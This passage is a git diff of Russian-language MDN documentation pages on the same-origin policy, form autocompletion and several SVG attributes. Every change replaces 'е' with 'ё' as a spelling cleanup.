100644 --- a/files/ru/web/security/same-origin_policy/index.html +++ b/files/ru/web/security/same-origin_policy/index.html @@ -7,7 +7,7 @@ translation_of: Web/Security/Same-origin_policy <h2 id="Определение_origin">Определение origin</h2> -<p>Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как "scheme/host/port tuple" (где "tuple"<sup> переводится как кортеж или запись</sup> набор из трех компонент, которые вместе составляют единое целое).</p> +<p>Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как "scheme/host/port tuple" (где "tuple"<sup> переводится как кортеж или запись</sup> набор из трёх компонент, которые вместе составляют единое целое).</p> <p>В следующей таблице даны примеры origin-сравнений с URL <code>http://store.company.com/dir/page.html</code>:</p> diff --git a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html index 6d60a0d151..7397f649f1 100644 --- a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html +++ b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html @@ -5,7 +5,7 @@ translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion --- <p><span class="seoSummary">В этой статье объясняется как можно отключить автозаполнение полей на сайте.</span></p> -<p>По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определенные поля при загрузке).</p> +<p>По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определённые поля при загрузке).</p> <p>Эти функции обычно включены по умолчанию, но они могут вызвать проблемы конфиденциальности пользователей, поэтому браузеры могут позволить отключать их. Однако некоторые данные, представленные в формах, либо не будут полезны в будущем (например, одноразовый пин-код), либо содержат конфиденциальную информацию (например, уникальный правительственный идентификатор или код безопасности кредитной карты). Как автор сайта, вы можете предпочесть, чтобы браузер не запоминал значения для таких полей, даже если в браузере включена функция автозаполнения.</p> diff --git a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html index 337add0202..7dc0f367c1 100644 --- a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html +++ b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html @@ -16,7 +16,7 @@ translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content <pre class="brush: html"><style>p { mask: url(#my-mask); }</style> </pre> -<p>В приведенном выше примере все параграфы маскируются с помощью <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a> <a href="/en-US/docs/Web/SVG/Element/mask"><code><mask></code></a> с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>. </p> +<p>В приведённом выше примере все параграфы маскируются с помощью <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a> <a href="/en-US/docs/Web/SVG/Element/mask"><code><mask></code></a> с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>. </p> <h3 id="Пример_маскировка">Пример: маскировка</h3> @@ -45,7 +45,7 @@ p { <p>Обратите внимание, что в CSS маска указана с использованием URL-адреса ID- <code>#mask-1</code>, которая является идентификатором маски SVG, указанной ниже. Все остальное указывает подробности о самой маске градиента.</p> -<p>Применение SVG-эффекта к (X) HTML выполняется путем назначения <code>target</code> классу, определенному выше элементу, например:</p> +<p>Применение SVG-эффекта к (X) HTML выполняется путём назначения <code>target</code> классу, определённому выше элементу, например:</p> <pre class="brush: html"><p class="target" style="background:lime;"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt @@ -59,7 +59,7 @@ p { </p> </pre> -<p>Вышеприведенный пример будет отображаться с помощью маски, применяемой к нему.</p> +<p>Вышеприведённый пример будет отображаться с помощью маски, применяемой к нему.</p> <p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p> @@ -111,7 +111,7 @@ p { <h3 id="Пример_Фильтрация">Пример: Фильтрация</h3> -<p>Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трем элементам как в нормальном состоянии, так и при <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> мыши.</p> +<p>Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трём элементам как в нормальном состоянии, так и при <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> мыши.</p> <pre class="brush: html"><p class="target" style="background: lime;"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt diff --git a/files/ru/web/svg/attribute/attributetype/index.html b/files/ru/web/svg/attribute/attributetype/index.html index 64578f28b0..c4e46ff973 100644 --- a/files/ru/web/svg/attribute/attributetype/index.html +++ b/files/ru/web/svg/attribute/attributetype/index.html @@ -8,7 +8,7 @@ translation_of: Web/SVG/Attribute/attributeType --- <p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p> -<p>Этот атрибут задает пространство имен, в котором определяются конечный атрибут и связанные с ним значения.</p> +<p>Этот атрибут задаёт пространство имён, в котором определяются конечный атрибут и связанные с ним значения.</p> <h2 id="Контекст_использования">Контекст использования</h2> @@ -40,9 +40,9 @@ translation_of: Web/SVG/Attribute/attributeType <dd>Указывает на то, что значение параметра {{ SVGAttr("attributeName") }} является именем свойства CSS, определяемого как анимация.</dd> <dt> </dt> <dt>XML</dt> - <dd>Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имен XML по умолчанию для целевого элемента.</dd> + <dd>Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имён XML по умолчанию для целевого элемента.</dd> <dt>auto</dt> - <dd>Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имен XML по умолчанию для элемента.</dd> + <dd>Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имён XML по умолчанию для элемента.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/svg/attribute/core/index.html b/files/ru/web/svg/attribute/core/index.html index 4423aa5468..6abb480a61 100644 --- a/files/ru/web/svg/attribute/core/index.html +++ b/files/ru/web/svg/attribute/core/index.html @@ -26,7 +26,7 @@ translation_of: Web/SVG/Attribute/Core <small><em>Значение</em>: Любое строковое значение ID; <em>Анимируемый</em>: <strong>Нет</strong></small></dd> <dt id="attr-lang">{{SVGAttr('lang')}}</dt> <dd> - <p>Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определенном в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">документе IETF "Tags for Identifying Languages (BCP47)"</a>.</p> + <p>Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определённом в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">документе IETF "Tags for Identifying Languages (BCP47)"</a>.</p> <div class="note"> <p>SVG2 предоставляет новые <code>lang</code> атрибуты. Если атрибуты <code>lang</code> и <code>xml:lang</code> используются вместе, то <code>xml:lang</code> имеет приоритет над <code>lang</code>.</p> @@ -42,7 +42,7 @@ translation_of: Web/SVG/Attribute/Core <small><em>Тип</em>: <a href="/docs/Web/SVG/Content_type#IRI"><IRI></a>; <em>Анимируемый</em>: <strong>Нет</strong></small></dd> <dt id="attr-xml:lang">{{SVGAttr('xml:lang')}}</dt> <dd> - <p>Это универсальный атрибут, разрешенный во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a> в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (<code>null</code>) значение атрибута (<code>xml:lang=""</code>) для указания неизвестного языка. Вместо этого, используйте <code>xml:lang="und"</code>.</p> + <p>Это универсальный атрибут, разрешённый во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a> в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (<code>null</code>) значение атрибута (<code>xml:lang=""</code>) для указания неизвестного языка. Вместо этого, используйте <code>xml:lang="und"</code>.</p> <div class="note"> <p>SVG2 предоставляет новые <code>lang</code> атрибуты. Если атрибуты <code>lang</code> и <code>xml:lang</code> используются вместе, то <code>xml:lang</code> имеет приоритет над <code>lang</code>.</p> diff --git a/files/ru/web/svg/attribute/d/index.html b/files/ru/web/svg/attribute/d/index.html index 708aa0cbad..2e1807e521 100644 --- a/files/ru/web/svg/attribute/d/index.html +++ b/files/ru/web/svg/attribute/d/index.html @@ -72,7 +72,7 @@ translation_of: Web/SVG/Attribute/d </tbody> </table> -<p class="note"><strong>Сноска:</strong> Точка происхождения (координата <code>0</code>,<code>0</code>) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет свое происхождение в левом нижнем углу своего бокса.</p> +<p class="note"><strong>Сноска:</strong> Точка происхождения (координата <code>0</code>,<code>0</code>) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет своё происхождение в левом нижнем углу своего бокса.</p> <h2 id="missing-glyph">missing-glyph</h2> @@ -122,9 +122,9 @@ translation_of: Web/SVG/Attribute/d <p><em>(MoveTo path commands)</em></p> -<p><em>MoveTo </em>инструкции можно рассматривать как собирание чертежного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.</p> +<p><em>MoveTo </em>инструкции можно рассматривать как собирание чертёжного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.</p> -<p class="note"><strong>Заметка:</strong> Хорошей практикой является открытие всех путей с помощью команды <strong>moveto</strong>, потому что без начального <strong>moveto</strong> команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределенному поведению.</p> +<p class="note"><strong>Заметка:</strong> Хорошей практикой является открытие всех путей с помощью команды <strong>moveto</strong>, потому что без начального <strong>moveto</strong> команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределённому поведению.</p> <table class="standard-table"> <tbody> @@ -188,7 +188,7 @@ translation_of: Web/SVG/Attribute/d <th scope="row">L</th> <td>(<code>x</code>, <code>y</code>)+</td> <td> - <p>Рисует линию из <em>текущей точки в конечную точку определенную</em> <code>x</code>,<code>y</code>. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (<code>L</code>). Формула: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</p> + <p>Рисует линию из <em>текущей точки в конечную точку определённую</em> <code>x</code>,<code>y</code>. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (<code>L</code>). Формула: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</p> </td> </tr> <tr> diff --git a/files/ru/web/svg/attribute/dur/index.html b/files/ru/web/svg/attribute/dur/index.html index 7c28a1e8cc..9cd47365ff 100644 --- a/files/ru/web/svg/attribute/dur/index.html +++ b/files/ru/web/svg/attribute/dur/index.html @@ -54,7 +54,7 @@ translation_of: Web/SVG/Attribute/dur <dl> <dt><code><clock-value></code></dt> - <dd>Задает длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (<code>h</code>), минутах (<code>m</code>), секундах (<code>s</code>) или миллисекундах (<code>ms</code>). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: <code>hh:mm:ss.iii</code> или <code>mm:ss.iii</code></dd> + <dd>Задаёт длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (<code>h</code>), минутах (<code>m</code>), секундах (<code>s</code>) или миллисекундах (<code>ms</code>). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: <code>hh:mm:ss.iii</code> или <code>mm:ss.iii</code></dd> <dt><code>media</code></dt> <dd>Задаёт простую длительность, как длительность, свойственной медиа. Это валидно только для элементов, которые определяют media.</dd> <dt><code>indefinite</code></dt> @@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/dur </dl> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> Интерполяция не будет работать, если простая длительность остается неопределенной (хотя это может быть полезно для элементов {{ SVGElement("set") }}).</p> +<p><strong>Примечание:</strong> Интерполяция не будет работать, если простая длительность остаётся неопределённой (хотя это может быть полезно для элементов {{ SVGElement("set") }}).</p> </div> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/svg/attribute/end/index.html b/files/ru/web/svg/attribute/end/index.html index c4db1e943f..8b0b8d3003 100644 --- a/files/ru/web/svg/attribute/end/index.html +++ b/files/ru/web/svg/attribute/end/index.html @@ -7,7 +7,7 @@ translation_of: Web/SVG/Attribute/end <p>Этот атрибут определяет конечное значение для анимации, которое может ограничить активную длительность.</p> -<p>Значение атрибута представляет собой разделенный точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определенным для {{ SVGAttr("begin") }} атрибута .</p> +<p>Значение атрибута представляет собой разделённый точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определённым для {{ SVGAttr("begin") }} атрибута .</p> <h2 id="Usage_context">Usage context</h2> @@ -32,7 +32,7 @@ translation_of: Web/SVG/Attribute/end </tbody> </table> -<p>Для типов значений, разрешенных в, <code><end-value-list></code> см. {{ SVGAttr("begin") }} атрибут.</p> +<p>Для типов значений, разрешённых в, <code><end-value-list></code> см. {{ SVGAttr("begin") }} атрибут.</p> <h2 id="Examples">Examples</h2> diff --git a/files/ru/web/svg/attribute/fill-rule/index.html b/files/ru/web/svg/attribute/fill-rule/index.html index d83dad58c3..b7c3a793e0 100644 --- a/files/ru/web/svg/attribute/fill-rule/index.html +++ b/files/ru/web/svg/attribute/fill-rule/index.html @@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/fill-rule <p class="note"><strong>Note:</strong> Атрибут представления, <code>fill-rule</code> может быть использован как CSS свойство.</p> -<p>Как атрибут представления, он может быть применен к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p> +<p>Как атрибут представления, он может быть применён к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p> <div id="topExample"> <div class="hidden"> diff --git a/files/ru/web/svg/attribute/font-weight/index.html b/files/ru/web/svg/attribute/font-weight/index.html index 1985975c56..27ae429e31 100644 --- a/files/ru/web/svg/attribute/font-weight/index.html +++ b/files/ru/web/svg/attribute/font-weight/index.html @@ -40,7 +40,7 @@ translation_of: Web/SVG/Attribute/font-weight <li><strong>bold</strong> - соответствует значению <strong>700 </strong>- полужирное начертание</li> <li><strong>normal</strong> - соответствует значению <strong>400 </strong>- нормальное начертание</li> <li><strong>bolder </strong>и <strong>lighter</strong> указывают браузеру использовать соответственно более жирное или более тонкое начертание в сравнении с текущим значением родительского элемента. Дочерние элементы, в свою очередь, унаследуют получившееся значение.</li> - <li><strong>inherit </strong>- дает указание браузеру унаследовать тип начертания от родительского элемента.</li> + <li><strong>inherit </strong>- даёт указание браузеру унаследовать тип начертания от родительского элемента.</li> </ul> <h2 id="Предостережения">Предостережения</h2> diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html index 54590a4cd4..a8071bb93f 100644 --- a/files/ru/web/svg/attribute/id/index.html +++ b/files/ru/web/svg/attribute/id/index.html @@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/id <dl> <dt><id></dt> <dd> - <p>Задает идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать никаких пробелов.</p> + <p>Задаёт идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать никаких пробелов.</p> <div class="blockIndicator note"> <p><strong>Примечание:</strong> Следует избегать использование значений идентификатора, которые будут анализироваться как спецификация представления SVG (например, <code>MyDrawing.svg#svgView(viewBox(0,200,1000,1000))</code>) или базовый фрагмент мультимедиа при использовании в качестве целевого фрагмента URL.</p> diff --git a/files/ru/web/svg/attribute/index.html b/files/ru/web/svg/attribute/index.html index 7d05b490e8..390328c17f 100644 --- a/files/ru/web/svg/attribute/index.html +++ b/files/ru/web/svg/attribute/index.html @@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute --- <p>« <a href="/ru/docs/Web/SVG" title="ru/docs/Web/SVG">SVG</a> / <a href="/ru/docs/Web/SVG/Элемент" title="ru/docs/Web/SVG/Элемент">Справочник SVG элементов</a> »</p> -<p>Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведен список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.</p> +<p>Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведён список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.</p> <h2 id="SVG_Атрибуты_от_А_до_Я">SVG Атрибуты от А до Я</h2> diff --git a/files/ru/web/svg/attribute/keytimes/index.html b/files/ru/web/svg/attribute/keytimes/index.html index d1db1c495f..cd7f423869 100644 --- a/files/ru/web/svg/attribute/keytimes/index.html +++ b/files/ru/web/svg/attribute/keytimes/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/keyTimes --- <p>« <a href="/en-US/docs/Web/SVG/Attribute" title="en-US/docs/Web/SVG/Attribute">SVG Attribute reference home</a></p> -<p>Атрибут <code>keyTimes</code> представляет собой разделенный точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке <code>keyTimes</code> задается как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.</p> +<p>Атрибут <code>keyTimes</code> представляет собой разделённый точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке <code>keyTimes</code> задаётся как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.</p> <p>Если указан список <code>keyTimes</code>, то в списке <code>keyTimes</code> должно быть ровно столько же значений, сколько в списке {{ SVGAttr("values") }} .</p> @@ -14,8 +14,8 @@ translation_of: Web/SVG/Attribute/keyTimes <p>Семантика списка keyTimes зависит от режима интерполяции:</p> <ul> - <li>Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задается; значения являются интерполяцией между ключевыми моментами.</li> - <li>Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задается; Функция анимации использует это значение до следующего времени, определенного в <code>keyTimes</code>.</li> + <li>Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задаётся; значения являются интерполяцией между ключевыми моментами.</li> + <li>Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задаётся; Функция анимации использует это значение до следующего времени, определённого в <code>keyTimes</code>.</li> </ul> <p>Если в качестве режима интерполяции используется <em>paced</em>, атрибут <code>keyTimes </code>игнорируется.</p> diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html index 86317240f1..88fbec8090 100644 --- a/files/ru/web/svg/attribute/lang/index.html +++ b/files/ru/web/svg/attribute/lang/index.html @@ -7,11 +7,11 @@ translation_of: Web/SVG/Attribute/lang --- <div>{{SVGRef}}</div> -<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong> указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определенных элементов.</span></p> +<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong> указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определённых элементов.</span></p> -<p>Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имен). Если определены оба атрибута, то используется тот, который имеет пространство имен, а атрибут без пространства имен игнорируется.</p> +<p>Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имён). Если определены оба атрибута, то используется тот, который имеет пространство имён, а атрибут без пространства имён игнорируется.</p> -<p>В SVG 1.1 существовал атрибут <code>lang</code>, определенный с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">формате BCP 47</a>. Глиф предназначался для использования, если атрибут <code>xml:lang</code> точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут <code>xml:lang</code> точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".</p> +<p>В SVG 1.1 существовал атрибут <code>lang</code>, определённый с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">формате BCP 47</a>. Глиф предназначался для использования, если атрибут <code>xml:lang</code> точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут <code>xml:lang</code> точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".</p> <p>Все элементы используют этот атрибут.</p> @@ -43,9 +43,9 @@ translation_of: Web/SVG/Attribute/lang <dl> <dt><code><language-tag></code></dt> <dd> - <p>Это значение указывает язык, используемый для элемента. Синтаксис этого значения определен в <a href="https://tools.ietf.org/html/bcp47#section-2.1">спецификации BCP 47</a>.</p> + <p>Это значение указывает язык, используемый для элемента. Синтаксис этого значения определён в <a href="https://tools.ietf.org/html/bcp47#section-2.1">спецификации BCP 47</a>.</p> - <p>Наиболее распространенным синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделенных знаком минус. Например, <code>en-US</code> для американского английского языка или <code>de-AT</code> для австрийского немецкого.</p> + <p>Наиболее распространённым синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделённых знаком минус. Например, <code>en-US</code> для американского английского языка или <code>de-AT</code> для австрийского немецкого.</p> </dd> </dl> @@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/lang <tr> <td>{{SpecName("SVG2", "struct.html#LangAttribute", "lang")}}</td> <td>{{Spec2("SVG2")}}</td> - <td>Сделал атрибут {{SVGAttr("lang")}} (без пространства имен) доступным для всех элементов и определил взаимодействие между ними.</td> + <td>Сделал атрибут {{SVGAttr("lang")}} (без пространства имён) доступным для всех элементов и определил взаимодействие между ними.</td> </tr> <tr> <td>{{SpecName("SVG1.1", "fonts.html#GlyphElementLangAttribute", "lang")}}</td> diff --git a/files/ru/web/svg/attribute/patterncontentunits/index.html b/files/ru/web/svg/attribute/patterncontentunits/index.html index 5a9258a1f4..82030dbd1b 100644 --- a/files/ru/web/svg/attribute/patterncontentunits/index.html +++ b/files/ru/web/svg/attribute/patterncontentunits/index.html @@ -5,11 +5,11 @@ translation_of: Web/SVG/Attribute/patternContentUnits --- <p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p> -<p>Атрибут <code>patternContentUnits</code> определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определен на {{ SVGElement("pattern") }} элементе.</p> +<p>Атрибут <code>patternContentUnits</code> определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определён на {{ SVGElement("pattern") }} элементе.</p> -<p>Если <code>patternContentUnits</code> атрибут не определен, то его значение предполагается равным <code>userSpaceOnUse</code>.</p> +<p>Если <code>patternContentUnits</code> атрибут не определён, то его значение предполагается равным <code>userSpaceOnUse</code>.</p> -<p>Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаете значение <code>patternContentUnits</code> равным <code>objectBoundingBox</code>, значения, указанные в процентах, будут пересчитаны, как если бы вы задали <code>userSpaceOnUse</code>.</p> +<p>Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаёте значение <code>patternContentUnits</code> равным <code>objectBoundingBox</code>, значения, указанные в процентах, будут пересчитаны, как если бы вы задали <code>userSpaceOnUse</code>.</p> <h2 id="Контекст_использования">Контекст использования</h2> @@ -45,7 +45,7 @@ translation_of: Web/SVG/Attribute/patternContentUnits <h2 id="Элементы">Элементы</h2> -<p>Атрибут <code>patternContentUnits</code> может быть определен на следующих элементах:</p> +<p>Атрибут <code>patternContentUnits</code> может быть определён на следующих элементах:</p> <ul> <li>{{ SVGElement("pattern") }}</li> diff --git a/files/ru/web/svg/attribute/r/index.html b/files/ru/web/svg/attribute/r/index.html index 1f92d75024..5114420ac3 100644 --- a/files/ru/web/svg/attribute/r/index.html +++ b/files/ru/web/svg/attribute/r/index.html @@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/r <p>Для {{ SVGElement("radialGradient") }}, <code>r</code> устанавливает радиус конечной окружности радиального градиента.</p> -<p>Градиент будет нарисован таким образом, чтобы <strong>100%</strong> конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведет к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента {{ SVGElement("stop") }}.</p> +<p>Градиент будет нарисован таким образом, чтобы <strong>100%</strong> конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведёт к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента {{ SVGElement("stop") }}.</p> <table class="standard-table"> <tbody> diff --git a/files/ru/web/svg/attribute/repeatcount/index.html b/files/ru/web/svg/attribute/repeatcount/index.html index ad584e3305..0023ba65af 100644 --- a/files/ru/web/svg/attribute/repeatcount/index.html +++ b/files/ru/web/svg/attribute/repeatcount/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/repeatCount --- <p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p> -<p>Данный атрибут задает, сколько раз должна выполняться анимация.</p> +<p>Данный атрибут задаёт, сколько раз должна выполняться анимация.</p> <p>Значение атрибута определяет количество итераций. Принимаются числа с плавающей точкой, которые интерпретируются как доля итерации. Значение должно быть больше нуля.</p> diff --git a/files/ru/web/svg/attribute/rx/index.html b/files/ru/web/svg/attribute/rx/index.html index 78f0ab86e0..c033fd34aa 100644 --- a/files/ru/web/svg/attribute/rx/index.html +++ b/files/ru/web/svg/attribute/rx/index.html @@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/rx <p>Способ интерпретации значения атрибута <code>rx</code> зависит как от атрибута {{SVGAttr("ry")}} , так и от ширины прямоугольника:</p> <ul> - <li>Если правильно задано значение для <code>rx</code>, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.</li> + <li>Если правильно задано значение для <code>rx</code>, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.</li> <li>Если ни <code>rx</code>, ни {{SVGAttr("ry")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.</li> <li>Если <code>rx</code> больше половины ширины прямоугольника, то браузер будет считать значение <code>rx</code> половиной ширины прямоугольника.</li> </ul> diff --git a/files/ru/web/svg/attribute/ry/index.html b/files/ru/web/svg/attribute/ry/index.html index f0b87c7a46..9267facd7f 100644 --- a/files/ru/web/svg/attribute/ry/index.html +++ b/files/ru/web/svg/attribute/ry/index.html @@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/ry <p>Способ интерпретации значения атрибута <code>ry</code> зависит как от атрибута {{SVGAttr("rx")}} , так и от ширины прямоугольника:</p> <ul> - <li>Если правильно задано значение для <code>ry</code>, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.</li> + <li>Если правильно задано значение для <code>ry</code>, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.</li> <li>Если ни <code>ry</code>, ни {{SVGAttr("rx")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.</li> <li>Если <code>ry</code> больше половины ширины прямоугольника, то браузер будет считать значение <code>ry</code> половиной ширины 